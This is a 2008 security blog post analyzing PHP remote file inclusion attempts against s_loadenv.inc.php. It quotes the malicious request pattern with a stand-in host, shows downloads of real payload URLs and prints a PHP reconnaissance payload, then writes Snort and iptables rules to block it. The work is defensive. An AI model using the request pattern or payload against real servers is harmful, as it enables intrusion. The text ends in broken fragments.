01 September, 2008
Over the past month, in my web logs for cipherdyne.{com,org} there have been suspicious web
requests against the file
s_loadenv.inc.php even though this file does not exist
on cipherdyne.{com,org}. These web requests attempt to force the webserver to execute a
malicious PHP script via a web link provided in the DOCUMENT_ROOT form parameter. The
requests basically look like the following (shown here as strings split across the perl
'.' operator so that browsing this page does not set off any IDS alarm bells):
'GET ' . '/some/path/s_loadenv.inc.php?DOCUMENT' . '_ROOT' . '=http' . '://badsite.com/some/evil/phptext??'.
Fortunately, I don't run any PHP code at all even though my site has a WordPress
theme - it's just plain HTML that is
updated by a set of custom perl scripts when I make new blog postings or new software
releases. So, my site is not vulnerable to attacks against unsafe DOCUMENT_ROOT
handling, and we can concentrate on analyzing the exploit attempts to get more
information.
First things first - a check of the
NIST vulnerability database (NVD)
does not turn up any CVE reference related to a PHP script named
s_loadenv.inc.php,
and even a
Google code search for this file also leaves us empty handed. There have been
vulnerabilities related to DOCUMENT_ROOT handling before (search the NVD for
"DOCUMENT_ROOT"), but none of the descriptions appear to match the web requests I'm
seeing. So, whatever software is potentially vulnerable to this attack, either it is
probably not well known, or a CVE ID hasn't been created yet. Some site administrators
seem to post their web logs on the Internet for all to see, and based on a
Google search, my guess is that the exploit targets a piece of Russian CMS software
that I won't name, but I did attempt to contact the vendor to notify them of the
problem just in case they don't already know about it - they never responded. The
attack is fairly widespread though - I have over 1500 such requests in my web logs
in the past month - and given the fact that most of the requests concentrate on a
specific area of my website, I would guess that this attack has been included within
an automated attack (more on this below).
Now, let's get a bit more sophisticated. The web requests advertise the
links to download exploit code, so I wrote a script (which you can
download) called
s_loadenv_recon.pl
to parse the web requests and download the malicious software pointed to by the
DOCUMENT_ROOT links. Typical usage is to search through the Apache
access_log file for web requests that match the strings
s_loadenv.inc.php,
DOCUMENT_ROOT, and
http:, and send these
logs through the script like so:
$ grep "s_loadenv.inc.php" /var/www/logs/access_log | grep "DOCUMENT_ROOT" |
grep "http:" | ./s_loadenv_recon.pl
[+] 202.181.210.195
/fwknop/docs/SPA.html//s_loadenv.inc.php
http://www.ganzkoerperpflege.at/files/oye.txt?? (1)
--11:40:29-- http://www.ganzkoerperpflege.at/files/oye.txt??
=> `oye.txt??'
Resolving www.ganzkoerperpflege.at... 69.89.25.184
Connecting to www.ganzkoerperpflege.at|69.89.25.184|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 882 [text/plain]
0% [ ] 0 --.--K/s
100%[===========================================>] 882 --.--K/s
11:40:29 (115.56 MB/s) - `oye.txt??' saved [882/882]
The
s_loadenv_recon.pl script uses wget to grab each of the exploit code
links, and stores them in the local directory
s_loadenv_recon/ according to the
IP of the original web request (with the IP used as a new directory where the data is
stored). After letting this script run, I have a total of 352 files to examine that
were requested by 144 unique IP addresses. By using the
GeoIP database via
the
geoiplookup tool, these IP addresses represent the following countries:
$ cd s_loadenv_recon/
$ for f in *; do geoiplookup $f; done |sort |uniq |perl -p -i -e 's|^.*?:\s||'
AT, Austria
AU, Australia
BE, Belgium
BG, Bulgaria
BR, Brazil
CA, Canada
CH, Switzerland
CL, Chile
CN, China
CO, Colombia
CZ, Czech Republic
DE, Germany
DK, Denmark
ES, Spain
FR, France
GB, United Kingdom
HK, Hong Kong
HU, Hungary
IT, Italy
JP, Japan
KR, Korea, Republic of
KZ, Kazakhstan
MO, Macau
--, N/A
NL, Netherlands
PL, Poland
PT, Portugal
RU, Russian Federation
TH, Thailand
TR, Turkey
TW, Taiwan
UA, Ukraine
US, United States
VN, Vietnam
Now, for the exploit code files, most are not very interesting and just instruct the
server to reveal detailed config or status information. For example, here is a snippet
from a file named
icon.jpg that really contains PHP code:
echo "bsdcr3w";
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;
echo "We was here ... and u no !!!<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "uptime: $up<br>";
echo "id: $id1<br>";
echo "pwd: $pwd1<br>";
echo "php: $php1<br>";
echo "software: $sof1<br>";
echo "server-name: $name1<br>";
echo "server-ip: $ip1<br>";
However, one file downloaded by the
s_loadenv_recon.pl script contains some
much more interesting code with support for logging into an IRC channel, sending email,
conducting port scans, issuing TCP and UDP floods, and spawning connect-back shells.
This code is associated with the
pBot trojan, and is detected by Snort rule ID
2003208 in the
Emerging Threats rule
set. (I'm not going to post the pBot code here - email me privately if you have a
security research interest in it.) Rule 2003208 checks for IRC communications associated
with the pBot trojan, so it will not detect the web requests against the
s_loadenv.inc.php script mentioned earlier. In terms of the attack, what has
probably happened is that exploits for PHP vulnerabilities can sometimes interchanged,
and one of the malicious web requests linked to exploit code for the pBot trojan after
it was discovered that the Russian CMS software is vulnerable. The vast majority of
the web requests linked to PHP code that is not associated with pBot.
In addition to analyzing the malicious s_loadenv.inc.php web requests, this blog post
is also about preventing them even if they link to relatively benign PHP code, so let's
first write a basic Snort rule to detect matching requests. Then we'll use
fwsnort to translate this rule into an iptables rule that uses
the DROP target to prevent any web requests that match the rule from reaching the
targeted webserver.
# cd /etc/fwsnort/snort_rules/
# cat > s_loadenv.rules
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"s_loadenv.inc.php DOCUMENT_ROOT attempt";
flow:established,to_server; uricontent:"/s_loadenv.inc.php?"; uricontent:"DOCUMENT_ROOT=";
uricontent:"http://" classtype:web-application-attack; reference:url,www.cipherdyne.org/blog/2008/09/01.html;
sid:20080001; rev:1;)
# fwsnort --include-type s_loadenv --ipt-drop > /dev/null
# /etc/fwsnort/fwsnort.sh
[+] Adding s_loadenv rules.
Rules added: 4
[+] Finished.
With the above commands executed, the FORWARD chain now contains the following
two rules that LOG and DROP packets in established TCP connections with port 80
that match the strings described in rule 20080001 above. In closing, these rules
are shown below.
$IPTABLES -A FWSNORT_FORWARD_ESTAB -p tcp --dport 80 -m string --string "/s_loadenv.inc.php?"
--algo bm -m string --string "DOCUMENT_ROOT=" --algo bm -m string --string "http://" --algo
bm -m comment --comment "sid:20080001; msg:s_loadenv.inc.php DOCUMENT_ROOT attempt;
classtype:web-application-attack; reference:url,www.cipherdyne.org/blog/2008/09/01.html;
rev:1; FWS:1.0.5;" -j LOG --log-ip-options --log-tcp-options --log-prefix
"[1] DRP SID20080001 ESTAB "
$IPTABLES -A FWSNORT_FORWARD_ESTAB -p tcp --dport 80 -m string --string "/s_loadenv.inc.php?"
--algo bm -m string --string "DOCUMENT_ROOT=" --algo bm -m string --string "http://"
--algo bm -j DROP
If you have any additional insight regarding the suspicious requests against
the
s_loadenv.inc.php script, please
email me.
The 1.6 release of fwsnort is available for
download. This is a fairly significant
release that adds support for the Snort fast_pattern keyword, makes enhancements to
the --QUEUE and --NFQUEUE modes, supports the conntrack module for connection tracking,
adds support for case-insensitive pattern matches using the --icase argument to the iptables
string match extension, and several other things. The Snort fast_pattern keyword allows the
rule author to influence the order in which Snort tries
to match a pattern against network traffic. When multiple patterns are included in a rule,
Snort usually tries to match the longest pattern first reasoning that the longest pattern
is probably the least likely to trigger a match and therefore the remaining pattern searches
would not have to be performed. But, there are times when the rule author would like to
explicitly ask Snort to match on a particular pattern first, and the fast_pattern keyword
is the mechanism that makes this possible. Because iptables matches are evaluated in order
and a failing match short circuits a rule, fast_pattern support with the string match
extension is possible through proper ordering in the iptables rule. Here is an example
Snort rule from Emerging Threats with the
fast_pattern keyword applied to the forth pattern:
Recently a 
Although the media blitz surrounding the 
